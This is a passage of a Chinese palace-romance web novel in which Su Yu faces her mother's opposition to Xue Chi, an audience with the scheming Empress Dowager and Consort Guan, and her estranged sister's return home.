“这只是奴婢的小见识。”绿川说着。 做为贴身丫头,她实在不好意思说。 苏钰只想谈恋爱,不想成亲,也挺渣女的。 谢无衣都为了苏钰,跟薛迟大打出手了,这喜欢的还不明显吗? 苏钰久久不语,她一心一意爱慕薛迟,根本就没往这方面想过谢无衣。 现在绿川点出来了,她又不傻,仔细想来就能感觉到谢无衣对她的不对劲。 “他喜欢我什么,我跟他又没交情。” 半晌后,苏钰冷静下来,开始思考。 “凭姑娘的家世样貌人品,宫里的娘娘都当得。”绿川小声说着。 这不是拍马屁,这是实话。 京城贵女那么多,甚至把郡主都算上,苏钰的条件都是拔尖的。 男人都现实的很,能娶到一个对自己有助益的正妻,还能兼顾美貌,这是天上掉馅饼的好事。 谢无衣虽然住在公主府,到底是私生子,还是养子,一直身份不明。 最大的优势,自小进宫,宫廷混的熟,又得天家喜欢,年纪轻轻成了建章骑营的老大。 单纯以门当户对的角度看,谢无衣求娶苏钰有点勉强。 就如楚王爷说的,谢无衣的出身到底差些。 “谢无衣,他应该不是那种人。”苏钰说着。 前不久有谢无衣和昭华公主的八卦,她不过随口提一句,谢无衣就一脸被侮辱的模样。 单纯冲着女方背景,他该去尚公主。 绿川把镜子拿到苏钰面前,“凭姑娘的美貌,谁喜欢姑娘都不奇怪。” 苏钰看着镜中的自己,假模假样的点头,“有道理。” 不再纠结为什么,苏钰决定风头过去之后,找谢无衣谈谈。 她虽然还没想过跟薛迟成亲,但现在她喜欢的人是薛迟,不打算谈着一个吊着一个。 有话说清楚,类似品花楼大打出手这种事情,就不要再发生了。 晚饭过后,苏钰再不愿意,也只得换身衣服去书房。 慕容宁的书房在前院,跟王爷的办公区在一起,也是慕容宁处理公务的地方。 苏钰进来时,慕容宁正在看卷宗,看到苏钰进来,脸色骤然一沉。 “母亲。”苏钰规矩站好。 慕容宁看着她,轻叹了口气,语气柔软了许多,“也是我的错,没有提前告知你,不要与薛迟来往。” “啊?”苏钰愣住了。 慕容宁唤她来,不是因为谢无衣和薛迟打架吗,为什么特意提到薛迟? “年轻气胜,大打出手,本就是平常事。”慕容宁说着。 男未婚,女未嫁,二男争一女,本就是平常事。 有优质男为苏钰大打出手,是她的魅力,值得表扬,而不是责骂。 苏钰眨眨眼,这意思,好像是在夸她。 “薛迟不行。”慕容宁斩钉截铁说着。 苏钰呆在当场,“母亲,为什么?” 这话谷夫人也说过,她不好询问缘由,但她可以问慕容宁。 “我与你爹都不希望你介入朝堂纷争,我甚至对你说,可以不成亲,就是不想你嫁错人。”慕容宁神情严肃。 “我不明白……”苏钰说着。 吃喝玩乐这些年,许多事情她不知道,并不表示她傻。 薛迟并不是科举出来的,如此年纪就入官场,好像刷履历一般,奔着内阁首辅去的。 要说没有天家爱护,那是不可能的。 公主之子,薛驸马还是圣人的心腹,多重身份加持下,得这份荣宠也不算太意外。 当然得了这份圣宠,就要为天家分忧。 当今圣上显庆皇帝最大的忧患,关家女人把持后宫,关家男人占领朝堂。 这也是有原由的,显庆皇帝七岁登基,嫡母关太后摄政,直到显庆皇帝十六岁才还政。 关太后今年六十五岁,身体硬朗,不管前朝还是后宫都要抓在手中。 关太后与显庆皇帝的矛盾是显而易见的,而在这场较量中,大部分朝臣还是站在显庆皇帝这边。 年龄在这里摆着,显庆皇帝三十七岁正值壮年,看起来再活三十年都没问题。 关太后就是长寿,虽然精力不济,如何斗的过正值壮年的皇帝。 薛驸马是显庆皇帝的心腹,铁杆帝派,他的儿子自然也是。 苏钰不觉得公主府的站队有问题,身在京城,官宦人家,怎么可能不站队。 只求富贵,不如南下经商,彻底脱离京城。 “我本来还想,你与谢无衣倒是般配。”慕容宁惋惜说着,“算了,都算了。” “谢无衣也出身公主府。”苏钰说着,“薛迟不行,为什么他就可以。” 明明同样的出身,同样得了圣宠,为什么谢无衣就可以。 “谢无衣心性单纯,对权势并无野心。”慕容宁说着。 谢无衣是游侠,对功名富贵都不太放在心上,重点是自己活的开心。 性格虽然有些不羁,人品却很好,与这样的人成亲,活的不累。 苏钰无法反驳,她虽然与谢无衣不熟,但也看的出来,谢无衣心思是挺单纯的。 “薛迟只是显得成熟稳重。”苏钰找着理由,“其实他心思很单纯的。” 她与“薛迟”通信两年,深信其品性。 “这种话也只有你能说出来了。”慕容宁说着。 恋爱让人头脑发晕,苏钰这是叠了多少层滤镜,才能说出这种话。 面对慕容宁的坚决反对,苏钰依然不甘心,“我没想过与薛迟成亲,只是想……” 慕容宁愣了一下,“没想过成亲?” 这意思是,吊着薛迟玩一玩? “我真的很喜欢他。”苏钰大声说着。 慕容宁看着坚定不移的苏钰,知道少女的心事强压是没用的,声音中透着无奈,“你和他注定没有结果。” “但是……” 慕容宁道:“更重要的是,我都无法确定,他对你好,是因为你自己,还是因为你爹。 “我爹?”苏钰愣住了,“爹爹早就辞官了。” 苏天翊是刷下了本朝最厉害的官场履历,但因抗旨辞官,又离京多年。在京城是传说,也只是传说,并无实际影响力。 慕容宁没作声。 “爹爹到底在做什么?”苏钰问。 “你不需要知道。”慕容宁看着她,“你只知道,薛迟不合适你。只是喜欢,不想将来的想法更不能让薛迟知道。” 不管薛迟对苏钰是什么想法,苏钰只想跟薛迟玩玩的想法,绝不能让薛迟知道。 “还有,准备一下,明天见宫。”慕容宁说着,“太后和贵妃要见你。” 第56章 第 56 章 谢无衣酒量很好,少有醉…… 谢无衣酒量很好, 少有醉酒的时候,发酒疯更是第一次。 要是以前发过酒疯,喝的时候多少会注意些。 监察寮把人送回来后,几个力气大的小厮把他扶回住处, 墨砚贴身侍侯。 中午睡到晚上, 酒劲终于过去, 谢无衣哼哼叽叽睁开眼, 就看到…… 薛驸马的熊脸,或者说, 狂暴熊脸。 “孽障,你都干了什么!!” 巨大的“熊掌”扑面而来,谢无衣当即打了个激灵,一个鲤鱼打挺,飞快起身躲开。 “老头子, 你疯了!”躲过一劫的谢无衣,冲着薛驸马怒声吼着。 “我疯也是被你气疯的。”薛驸马怒不可谒,“与其等我连累我, 不如我现在就打死你。” 怒吼伴随着巨掌, 愤怒之中根本就不留手, 是真想把谢无衣暴打一顿,打服为止。 “打死我?你也得有这个本事啊。”谢无衣冷笑, 边躲边挑衅, “薛老头,看看自己的岁数,你根本就打不过我。” 谢无衣并没有还手,只是闪躲而己,却显得游刃有余。 薛驸马拳头大, 力量重,破坏力是很挺强,把卧室都快拆了,却没摸到谢无衣一根头发。 “我说你,不好好在屋里吃饭,跑我这里发什么疯?”谢无衣疑惑说着。 喝酒断片,他根本就不知道发生了什么事。 只知道一觉醒来,薛驸马成狂暴熊了。 “跟薛迟打架,你不想活了吧。”薛驸马怒声吼着,越想越气,越气下手越重。 谢无衣呆了,“我跟薛迟打架?好好的,我跟他打什么架?” 因为气不过,他忍不住去品花楼堵苏钰。 堵到之后,要说什么要做什么,他全然没有头绪。但心里憋着的那口气,让他坐立不安,一定要做点什么。 因为气愤,到了品花楼后,他就开始喝酒。 再然后…… 完全不记得了。 “装失忆啊,全京城都知道了,你为了苏钰和薛迟在品花楼大打出手。”薛驸马越说越气,下手越发重了。 “什么!!” 谢无衣呆滞,闪躲都忘记了。 薛驸马并无留手,一拳直击面门,谢无衣捂着脸连连后退。 “你怎么还真打啊!” 听到下人回报,晋阳长公主匆匆来了。 进门就看到谢无衣挨打,而且是打到脸上,血流成河,看着十分吓人。 晋阳长公主顿时怒了,指着薛驸马大骂,“你疯狗啊,下这么重的手!” 说着,晋阳长公主快步走到谢无衣跟着,想看他伤势,“让我看看,伤到哪里了。” 随即又骂身边的人,“你们是怎么侍侯的,也不知道拦着。” 下人们跪了一地,驸马爷打人,哪里是他们敢拦的。 “还不快去叫大夫来。”晋阳长公主急切说着,又关心谢无衣,“有没有伤到哪里,让我看看,快让我看看。” 薛驸马虽然嘴上喊的凶,其实是留手了的。听到晋阳长公主骂他,冷哼着,“都是你宠坏的,无法无天,早晚有一天,把自己小命搭进去。” “那你来管啊,天天人都不见,现在倒来说我。”晋阳长公主怒气说着。 谢无衣全然感觉不到疼痛,对薛驸马与晋阳长公主的例行争吵也全然不在意,只是看着薛驸马,“我为了苏钰,打架?” “是跟薛迟打架!”薛驸马说着重点。 为什么打架不重要,跟谁打架是重点。 谢无衣全然没有记忆,却是莫名心虚。 他真这么干了? 为了苏钰,跟薛迟打架? “我打赢了吗?”谢无衣下意识问。 苏钰是什么反应,看到他俩打架,会帮他吗? “你还想赢啊!” 薛驸马更生气了,连晋阳长公主都生气了,“京城没闺秀了吗,满京城皆知,苏钰和阿迟交往甚密,你掺和什么。” 为了争女人打架,她头都裂了。 “我没掺和什么,我又不喜欢苏钰。”谢无衣嘴硬。 他和苏钰只是笔友而己,通信再久也只是朋友, 他只是生气苏钰翻脸不认人。 “不喜欢最好。”晋阳长公主说着,“我马上找媒婆来,明天就把你婚事定了。” 定了亲,谢无衣也就收心了。 喜欢谁不好,非得跟薛迟争。 “我不定亲。”谢无衣大声反应,“你敢定亲,我就敢去闹。” 晋阳长公主气的都恨不得暴打谢无衣,正要大骂时,就见管事领着大夫进来。 “先处理伤口。”薛驸马心疼谢无衣,这一脸血,看着也是渗人。 薛驸马是武将,公主府的大夫最会处理外伤。 三两下包扎完,又例行叮嘱几句,正要走时,晋阳长公主突然道:“这么重的伤,怎么也得卧床一个月。” 大夫马上反应过来,“是,是,谢大爷伤的如此重,两个月都难起床,我这就去开方子。” 说着,大夫到外头开方子,飞奔跑了。 “有必要吗?”谢无衣冷哼说着。 还搞装病,闲的啊。 晋阳长公主也笑了,“就你这一脸的伤,没有两个月,让你出门你也不想出门。” 伤到别处,衣服能遮掩,伤到脸上,盖都盖不住。 薛驸马打的好,会选地方,不愧是打儿高手。 “无聊!”谢无衣大声喊着,“我不会定亲的。” “这可由不得你。”晋阳长公主冷笑。 薛驸马道:“苏钰和薛迟好着呢,自作多情就没意思了。你还是歇歇心,老实定亲。” 谢无衣快气死了,“出去,都给我出去。” 这厢打打闹闹之时,临流草堂里,薛迟书房坐着,公文摆在桌子上,一眼都没看。面沉如水,似在想着什么。 陈平小心翼翼走进来,头几乎要埋到地里,小心翼翼说着,“宫里传来消息,太后和关贵妃召见苏姑娘。” 又马上补充,“慕容大人领了旨意,说会带苏小姐进宫。” “嗯。”薛迟应了一声,脸色依然难看。 陈平摸不准薛迟的心思,慕容宁陪同进宫,刀山火海都不用担心,这个道理薛迟肯定懂的。 不敢多言,如实禀告,“驸马打了谢大人,说是下手重了,要卧床两个月。” “哦……” 薛迟语调冷淡,听不出喜怒。 陈平不敢再说,但薛迟没让退下,只得站立一旁。 虽然下人是这么说的,但他打心里觉得,薛驸马不会把谢无衣打的那么重。 看薛迟的反应,只怕也是如此认为的。 “谢无衣,你怎么看?”薛迟突然开口,神色严肃。 陈平心底微微一怔,薛迟和谢无衣算是一起长大的,类似兄弟。 薛迟这个问题,回答不好,是要送命的。 “谢大人行事洒脱,不拘小节。”陈平斟酌着用词。 这话真不是恭维,谢无衣是看着傲慢,相处下来,人品真不错。 建章骑营那种地方,他能打理的井井有条,手下跟兄弟似的,都打心里服他。 在朝为官,与上下同僚也都能相处和气,说起他来都夸句好,这是非常难得的。 “这些还用你说!”薛迟话中含怒。 陈平顿时惶恐,虽然贴身跟随有几年了,自觉得看人很准,但对于自家主子,他是真的不明白。 心事藏的太深,外人都说薛迟老成,这话不太对。 这不是老成,这是老狐狸。 从品花楼回来后,薛迟就怪怪的。 谢无衣当场打人当然有错,但窈窕淑女,君子好逑,以薛迟的心胸,也不至于因此生气。 尤其上回叶老太爷寿辰时,他就看出苗头,暗示性的提醒。 薛迟马上明白,立即找缘由把谢无衣叫走。 脑中百转千回,陈平终于想到,“谢大人素来自负……” 谢无衣自负,就是喜欢苏钰,会追求会告白。但绝不会一脸怨夫样的冲着苏钰耍酒疯,他不至于如此失格。 除非…… 他跟苏钰真的有点过什么。 苏钰确实负过他,他接受不了,才开始发疯的。 想到此处,陈平只觉得头发都竖起来,要是这样…… “下官告退。”陈平退下的时候,腿都是抖的。 有些私密事,薛迟是不会主动吩的,这就需要属于自行揣摩。 薛迟肯定也是想到这点了,但又没办法明说。 自己的现女友,与自己的兄弟,可能有点什么…… 这是送命的差事,查肯定要查,但要查出来什么了…… 他要怎么禀告,更要担心,薛迟会不会直接把他灭口了。 薛迟太冷了,比屋外的雪都冷。 除了权力欲外,几乎没有任何个人爱好,吃喝用度全都不在意。 陈平有时候都觉得薛迟是块寒铁,可以冰冷生硬的存在上千万年。 而现在薛迟出门时,会在意打扮了,从来都摆放整放的书桌上,会放上乱七八糟的书信。 他在融化,这个PMDUJIA时候有人告诉他,融化你的那个太阳,其实并不是你看到的那样。 他不都不敢想,薛迟会怎么样。 陈平逃命似的跑了,薛迟撑着的身体,有点点软下来。 向来整齐的书桌,哪怕是堆满公文,也会摆放工整一丝不乱。 而此时几封拆开书信摆在桌面上,没有用信封装好,摆放的位置也很不合适,与整齐的公文比,显得格格不入。 这都是苏钰写给他的信,没什么重要事情,好像日常一般,拉拉杂杂写了许多,却让他忍不住翻了又翻。 他的人生一直是忙碌的,哪怕还是孩童之时,时间都挤的满满当当。 一个又一个目标,不停歇的往前跑,不能喊苦不能喊累,没有娱乐,没有安慰。 每天从案卷中抬头时,他有时候甚至觉得世界是灰色的,直到苏钰出现。 鲜活而旺盛的生命力,连带着书信中,字里行差都充斥着可以安抚他的能量。 “苏钰……” 第57章 第 57 章 早饭过后,苏钰开始…… 早饭过后, 苏钰开始装扮。 不是绿川,而是楚王爷的嬷嬷,进宫的装束是有讲究的。 女子进宫,有诰封的按诰封来。苏钰这种年轻小姐, 一般都是按父亲的官职来。 然后, 嬷嬷们都犯难了…… 太后指婚, 苏天翊抗旨休妻, 当时就被罢免了所有官职,连爵位都被夺了。 神奇的是, 夺爵的旨意下了,却没有后续操作。 既没有收回册宝,更没有收回府邸,甚至国公府该有的年薪俸禄都一分不少。 京城贵族圈里,普遍认为苏家国公府的爵位还在, 只是英国公苏天翊不在京城而己。 嬷嬷们眼前的难处是,众所周知,昭华公主喜欢薛迟, 谢无衣求娶过昭华公主。 现在俩个人为了苏钰打起来了, 还闹的京城皆知。 太后和贵妃这个时候召见, 多半不是好事。行事就要格外小心,不能被挑出错来。 按什么规格打扮就成了第一要务, 两个嬷嬷商量来商量去, 镜前坐着的苏钰都要无语了,“不用如此计较吧。” 她又没有诰命在身,就是父亲白身,祖父还是武靖侯呢,官府小姐的打扮, 大差不差的。 要是太后和贵妃连装扮都不放过,可挑错的地方就太多了。 终于,在苏钰的强烈要求下,嬷嬷们不再纠结,给苏钰穿戴好了。 坐车到王府后门,慕容宁己经在了。 “母亲……”苏钰有点惊讶。 慕容宁穿的不是亲王正妃的朝服,而是监察寮正使的官服。 “走吧。”慕容宁说着。 楚王府邸就在皇城范围,从后门坐车,一路直达慈宁宫。 苏钰不是第一次进宫,既不觉得紧张,也不觉得畏惧。 她对皇宫的这四面红墙十分无感。 天家的权势和富贵,常人无法想像。 但苏钰不是常人,国公独女,出身高门却没有权力欲。对于左手翻云,右手覆雨,掌控别人生死的生活无感。 至于富贵,所谓宫中之物,她想要就能得到,她没觉得了不起。 无欲又无求,自然不觉得皇权有什么了不起。 “女子进了这宫门,这辈子都要困死其中。”慕容宁突然说着。 苏钰认同的点点头,不好说可怜之类的话,心里却是如此想的。 正常婚嫁,实在过不下去了还能和离,开始新的人生。 进宫就彻底没了回头路,活不下去自杀都会连累家人。 “你知道程皇后吗?”慕容宁突然说着。 苏钰摇摇头,“不是一直没有皇后吗?” 目前显庆皇帝后宫最大的是关贵妃,三皇子和昭华公主的生母。 三皇子是太子热门人选,一直有消息说,关贵妃要封后了。 但说了好些年了,也不见关贵妃升位份。 “程皇后去世后,皇上思念发妻,不再立后。”慕容宁说着。 显庆皇帝十六岁时选秀,关太后早就选定了娘家侄女为后,也就是关贵妃。 到了选秀当天,为了面子上好看,关太后还是让显庆皇帝自己选。 没想到,显庆皇帝选了自己喜欢的程皇后,关太后当时脸色就很难看。 但当时己选定,也不好再改口,只封了娘家侄女为贵妃。 显庆皇帝大婚后,与程皇后异常恩爱,不到一年程皇后有孕。 显庆皇帝异常高兴,各种小心谨慎,好不容易到足月,程皇后难产亡故,一尸两命。 这其中是否有关太后的手笔,无人得知,只知道显庆皇帝因此与关太后起了冲突。 显庆皇帝怒中硬闯慈宁宫,后来当时两人吵了什么,说了什么,无人得知。 当时慈宁宫当值的宫人全死了。 皇帝太后冷战,前朝后宫乱成一团。 直到几年后,关贵妃诞下三皇子,健康又活泼,帝后关系终于缓合。 程皇后渐渐成了宫中朝堂的禁忌,没人敢提起。 倒是关贵妃封后之事,几次被人提起,却又被显庆皇帝压下去。 没人敢说,但知情人都知道,显庆皇帝这是忘不了程皇后,不愿意再立后。 “原来如此。” 苏钰听得感慨,没想到还有这么一段悲剧。 明明都是皇帝了,选了自己心爱的女子当皇后,天作之合,竟然一尸两命。 慕容宁神情凝重,“帝后矛盾,不可调和。” “哪怕三皇子是皇上膝下唯一健康的皇子……”苏钰不禁说着。 大皇子是宫人所生,是个傻子。 二皇子,应该就是程皇后所生,没活下来的那位。 “昨天有消息说,后宫有喜讯传出。”慕容宁说着。 显庆皇帝才三十七岁,想要孩子并不难。 后宫一直没动静,虽然有关贵妃的手笔,主要是显庆皇帝自己也不想生。 现在想生了,后宫自然会有喜讯。 说话间,马车停了下来。 小太监打开帘子,慕容宁和苏钰一前一后下车,只见关太后身边的管事太大监海公公己经在等着。 “慕容大人。”海公公见礼。 慕容宁还礼,“劳烦公公带路。” 海公公前头带路,苏钰跟随慕容宁,不由的看一眼海公公。 看走路的姿势,肯定是练家子,还得是高手。 皇宫内苑,卧虎藏龙。 一道道宫门,终于进入慈宁宫。 海公公引着进入正殿,只见关太后正中端坐,关贵妃坐在她左下手的椅子上。 六十五的关太后,神色看起来好极了,看不出丝毫老态。慈爱更说不上,两鬓的风霜好似过往的功勋的展现。 哪怕是年迈了,也能看出当年垂帘听政时的风彩。 “臣慕容宁,携女苏钰,拜见太后,贵妃。” 苏钰跟慕容宁见礼,神态自若,落落大方。 “起来吧。”关太后说着。 慕容宁和苏钰起身,规矩站好。 “楚王妃这身打扮,我都要认不出来了。”关贵妃笑着说,嘲讽之意明显。 好好的亲王正妃,去当什么正使,尤其是这么一身官服,看着男不男女不女的,更是搞笑。 慕容宁神态自若,只是看向关太后,“得知太后召见,臣惶恐,不敢懈怠。” 关太后笑着,“监察寮的差事你倒是当得,外族远嫁而来,监察朝中官员,倒不用担心结党营私。” “只是今天唤你来,是为了家事,你如此正经的穿了官服来,倒让我不知道要怎么吩咐了。” “太后的家事即是国事。”慕容宁恭敬说着。 苏钰多少听出了火药味,又想到刚才慕容宁说的。 显庆皇帝和关太后之间的矛盾,己不可调和。 慕容宁的官职应该是显庆皇帝封的,关太后多半是看不顺眼。 要是慕容宁穿王妃朝服来,那就表示依然是宫廷女眷。慕容宁和楚王爷的婚事,还是关太后指的婚。 身着监察寮的官服而来,就表示是显庆皇帝的臣子,关太后管不着她。 “也罢,你执意如此,我也不勉强。”关太后语气中透着惋惜。 关贵妃不懂关太后在惋惜什么,慕容宁一个外族女子,就是破例当了官,能掀起什么风浪。 “过来,让我看看。”关贵妃朝苏钰招招手。 苏钰走到关贵妃面前,规矩站好。 关贵妃上下打量着她,笑着说,“上回见你,还是十来年前了,转眼成了大姑娘。这副模样,倒是像你父亲,是个大美人。” “蒙贵妃夸奖,臣女惶恐。”苏钰说着官方套话。 关贵妃脸上笑着,拉起苏钰的手,又仔细看了看,确实是个大美人。 只凭样貌,昭华公主输太多,怪不得薛迟如此中意她。 要是换个别家的小姐,为了女儿的幸福,她肯定要说一句,不如进宫来伴驾吧。 进宫为妃,绝了一切后路。至于入宫之后,还不是任由她捏圆搓扁。 但对苏钰,关贵妃还真不敢。倒不是担心争宠,而是隐约有种感觉,惹不起。 “窈窕淑女,君子好逑,也不怪那俩小子打起来。”关太后看向苏钰,笑着说,“你看中哪一个,我给你指婚。” 苏钰看一眼慕容宁,对关太后恭顺说着,“女儿家的婚事,该由父母做主,臣女不敢妄言。” “回太后,四年前我寻莲花庵的圣和师太给她看过,说不宜早嫁,克夫刑子,甚是不好。”慕容宁说着。 “圣和师太给看过啊……”关贵妃言语间透着意外,“没想到楚王妃的人缘如此好,竟能请动她。” 慕容宁道:“是缘份,也是小女的造化。” “就算不宜早嫁,今年都十九了,现在定亲,明年出嫁,也二十了呢。”关贵妃不死心说着。 “她父亲不在京城,我己改嫁,亲事不好自己做主。”慕容宁说着,“我想着等她父亲回京,再定婚事也不迟。我只有这么一个女儿,也想多留她几年。” 关太后听得点点头,“也是,苏天翊就这么一个亲生女儿,婚事是得他点头才行。” 关太后都如此说了,关贵妃心里不舒服,也不好再说什么,笑着道:“本以为还能做个红娘,没想到贴了个冷屁股,罢了罢了。” 这话说的不伦不类,苏钰低头不语,慕容宁竟然也没圆场,气氛冷了下来。 关贵妃脸上越发挂不住,刚想发作时,关太后道:“见也见了,回去吧。” “是,臣告退。”慕容宁说着。 苏钰也跟着道:“臣女告退。” 关太后给海公公使了眼色,海公公亲送慕容宁和苏钰出去。 等两人出门,关贵妃再也忍不住,“姑妈,您答应昭华了的……” “好了。”关太后打断她,言语中带着怒意。 这个娘家侄女,美丽却也愚蠢。 关家女儿这么多,在最初挑人时,她最中意的并不是关贵妃,而是关贵妃的亲堂姐。 美丽聪慧,进宫能成为她的得力助手。 而就在选秀前一个月,堂姐失足落水。 朝堂后宫这么多年,关太后如何不懂。为了上位,自家人一样下杀手。 关太后有些生气,但人都死了,也就算了。 本想着关贵妃能有这种手段,也算是个人物,至少够狠。 关贵妃确实有些手段,但行事过于极端,一言不和就下杀手。 杀的人多了,是容易立威,但朝堂后宫牵扯众多,各方势力盘杂。 杀人是可以解决问题,但许多人是杀不了,动不得的。 要是可以退货,关太后早想把关贵妃扔了。奈何程皇后死后,显庆皇帝对于关家女子格外排斥。 关贵妃生了一儿一女,都很健康。尤其是三皇子,格外聪慧,是储君的热门人选。 “后宫难得有喜讯,你就别插手了。”关太后说着。 因为关贵妃的操作,后宫多年无喜讯。 以前显庆皇帝年轻,对子嗣也不太在意,现在他特意挑选年轻妃嫔,为的就是子嗣。 几乎都打明牌的情况下,关贵妃的操作还要继续,只怕罪名就加身了。 关贵妃变了脸色,“若是再有皇子出生……” 其他的都是小事,儿子的皇位是大事。 进宫为妃,为的是当太后。当不当皇后都无所谓,只要儿子能当下任皇帝就行。 这些年她严控后宫,不就是为了确保三皇子的唯一性。 “孩子夭折是常事,来日方常。”关太后说着。 关贵妃明白了,“谢姑妈提点。” 何必这时候跟皇帝打对台,小孩子长到成人,时间长着呢。 “你啊,就是沉不住气。”关太后说着,“吩咐内务府,给昭华准备嫁妆。” 关贵妃高兴起来,“是。” “退下吧。”关太后说着。 关贵妃见礼退下,送人的海公公回来,关太后神色幽暗,沉寂的眼眸显得精光四射。 她想昭华嫁给薛迟,薛迟就跟苏钰搞这么大一个绯闻。 到底是故意,还是无意,值得推敲。 “你怎么想的?”关太后突然说。 海公公低头道:“老奴看来,慕容大人疼爱女儿,应该不会让她卷入事非中。” “呵~她都以身入局了,有什么舍不得的。”关太后冷笑。 海公公低头不语。 “算了,有意也好,无意也罢。薛迟和昭华的这门婚事,一定要促成。”关太后说着。 只有这门婚事成了,她才能彻底放下心。 “是,老奴明白。”海公公说着。 关太后微微闭眼,脸上露出疲惫之色。海公公眼中透出几分心疼,却小心翼翼,“太后该歇着了。” “嗯。” 第58章 第 58 章 苏钰本以为会被禁足…… 苏钰本以为会被禁足在楚王府, 毕竟搞出这么大的事。 没想到从宫里回来后,她就可以回苏家了。 当然,想在王府住也可以,只是慕容宁很忙, 没功夫见她。 “太后跟前说的话, 就是我的意思。”慕容宁说着, “你知道该怎么做。” “知道。”苏钰垂头丧气说着。 拒绝了太后指婚, 慕容宁还明确说了,要等苏天翊回来再说亲事。 无意成亲, 那不管薛迟,还是谢无衣都不能再来往。 “成亲未必是好事。”慕容宁欲言又止。 看看苏家人的婚姻状况就能知道,有些婚姻,不如没有。 “太后真的是为昭华公主,才召见我的吗?”苏钰好奇说着。 回来的路上就在想, 昭华公主是显庆皇帝唯一的女儿,关贵妃心疼女儿有可能。 关太后……那样一个强人。 当年她亲生女儿出事时,都能稳坐朝堂, 可不像能为这点小事, 给孙女出气的人。 “顺便吧。”慕容宁说着, “这些事不是你该操心的,不想在王府, 就回国公府去。” “我马上走。”苏钰说着。 不是楚王府不好, 而是楚王爷太热情。 她要是不赶紧走,楚王爷又得给她办亲相宴。 人菜瘾大,没有理事的能力,却有一副热心肠。 “马上就过年了,天又冷, 少往外跑。”慕容宁说着,“有事就跟我说,我不在,就让人去监察寮传话。” 以前她虽然忙碌,但都是短期事务。 现在是有差事在身,每天衙门忙碌,母女俩想见个面都不容易。 “母亲不用担心,大哥要回来了。”苏钰说着。 不管平常在忙什么,过年时苏略都会回来,因为要祭祀。 苏天翊不在京城,苏略要代替他完成祭祀。 有苏略在京城,她完全不用担心关贵妃或昭华公主找她麻烦。 说到苏略,慕容宁眉头罕见的拧了起来,看着苏钰的目光有些复杂。 幸好,苏钰越长越像苏天翊,而不是像她。 “苏略疼你,你就当个好妹妹。若是哪天家里提到国公府的爵位传承,你就立挺苏略袭爵。”慕容宁说着。 苏略这种人,能当亲友,就不要当敌人。 至少目前来看,他是真心疼爱苏钰。 这是苏钰的造化,好好保持,不能成为罪孽。 “大哥是养子,己经被父亲逐出族了。”苏钰不禁说着。 苏天翊还不到四十岁,英国公府的爵位传承,要考虑似乎还早。 就是真要考虑,第一选项是她这个独生女招婿承爵。 这种前朝有过先例,苏天翊想做肯定能做成。 第二选项,过继苏邑承爵。 不过二房总共二子,叶峰己经过继给叶家,苏邑是独子,独子一般不出继。 但不管怎么操作,己被逐出族的养子,承爵的可能性都很低,以至于苏钰从来没有想过。 更重要的是,苏天翊正值壮年,有再生育的可能,何必操烦未来之事。 “你只管支持他,成不了就是他的事。”慕容宁说着。 苏钰明白了,就是要她一个态度,支持苏略的态度,其他不用管。 她从来没有想过招婿袭爵,苏略袭爵也挺好。 母女俩一起吃了中饭,慕容宁去了监察寮,苏钰坐车回国公府。 车驾刚到国公府门口,不等进二门,车夫就停了下来。 “姑娘,进不去了……”车马语气微妙。 绿川打起帘子,苏钰看过去。 只见国公府角门被贺家的马车堵住,贺英扶着苏玫在门口站着。 管家接到苏天佑的指示,面色尴尬的拦着俩人。 “我知道错了,回来向父亲请罪。”苏玫哭泣说着。 衣衫单薄,本来就憔悴,这么一哭,更显得柔弱可怜。 贺英就更直接,直接在角门处跪了下来,“千错万错都是我的错,任何责罚,我皆愿承受。” 管家顿时不知如何是好,正经姑娘姑爷,强行赶人肯定不能。 以前也只是拦着不让进,他们自己就走了。 现在贺英一副长跪不起的模样,只能跟身边的人使眼色,赶紧去衙门找苏天佑。 苏天佑有官职在身,非沐休日都要去衙门坐班,在家时候并不多。 “这是……” 绿川看的目瞪口呆,这是闹哪出啊。 苏钰轻叹口气,径自下车。 这么一闹,肯定有围观看热闹的,她的车都在这里了,要是被人发现躲在车上不下去,到时候只会更尴尬。 “大姑娘……” 管家看到苏钰,仿若看到救星,总算有个能做主的了。 苏钰神情复杂的看向苏玫,“妹妹身子弱,不宜风口里久站。” “姐姐,都是我……”苏玫哭泣。 苏钰打断她,声音颇高,却十分冷漠,“当年与贺家定亲时,只说是苏家姑娘,你是苏家姑娘,嫁到贺家去,本就是应该。” “我们姐妹一同长大,你出阁时,我还送了大礼,陪着你哭了一场。” “也不知道哪个烂舌头的,在外头胡说八道,要毁我们姐妹之情。妹妹该强硬些,听到闲话就骂回去,我们不受这个闲气。” 苏玫与贺英的婚事,最大的问题,在于苏钰这个前未婚妻。 苏天佑性格执拗,要是打定主意不让苏玫再上门,苏玫真的进不来。 今天这么一出,是不是冲着她来的,苏钰不想细想。 但是他们想听的,她倒是不介意大庭广众下说出来。 只有她说出来,苏玫和贺英才能为自己的婚姻找到了合法性。 不会再被骂勾引妹妹,偷姐夫。 如此义正言词的一番话,随后苏钰扶着苏枚往里面走,“祖父一直念着妹妹,我们去见祖父。” 苏震岳脾气大,但他对小辈是最好的。 不管犯下多大的错,只要对着他哭一哭,他都能容过去。 至于苏天佑,苏震岳毕竟是他亲爹,苏玫的亲祖父,就是事后生气,也没什么办法。 只要父女常见面,苏玫愿意花力气软磨硬泡,父女关系终会缓合。 “姐姐……” 苏玫反握住苏钰的手,神色激动,眼中透着感激,恨不得给苏钰跪下。 从来就没什么姐妹情深,是她硬抢了苏钰的丈夫,还拉着她一起落到如此难堪的地步。 今天也是,她知道了苏钰的行程,特意来堵她的。 她是真的没有办法,身后己无退路,再退即是万丈悬崖。 她需要娘家的支持,她需要更多的资源,才能让自己的生活有转机。 与娘家和解是第一步,也是最重要的一步。 她需要苏钰这番话为自己正名,她要名正言顺自由出入苏家,她需要苏家三姑奶奶的身份。 “进去吧。” 苏钰说着,脸上笑着,语气中却带着几分叹息。 看苏玫这样,她反而不气了,只是有些感慨。 回想当时苏玫闹着非嫁不可时,那个姿态,那个气势。 再看现在,判若两人。 婚姻让人成长,错误的婚姻成长的更快。 苏钰扶着苏玫进府,管事也赶紧把贺英扶起来,“姑爷,外头冷,快进去吧。” 贺英松口气,向管事的道谢。 跟着贺英一起过来的贺府管事,早就给府里众人备好礼物。连带着有头有脸的下人,全都有份。 贺英跟上苏钰,苏枚,贺府管事当即拿出几包银子,散给了苏家的管事。 从角门进二门,抬头就见关氏带着丫头迎了上来。 她刚才就到了,丫头说苏钰的车驾到门外,她就没露面,就是想着苏钰能出面。 她知道这样不好,对不起苏钰。 但她就这么一个女儿,就是个孽障,那也是她身上掉下来的肉。 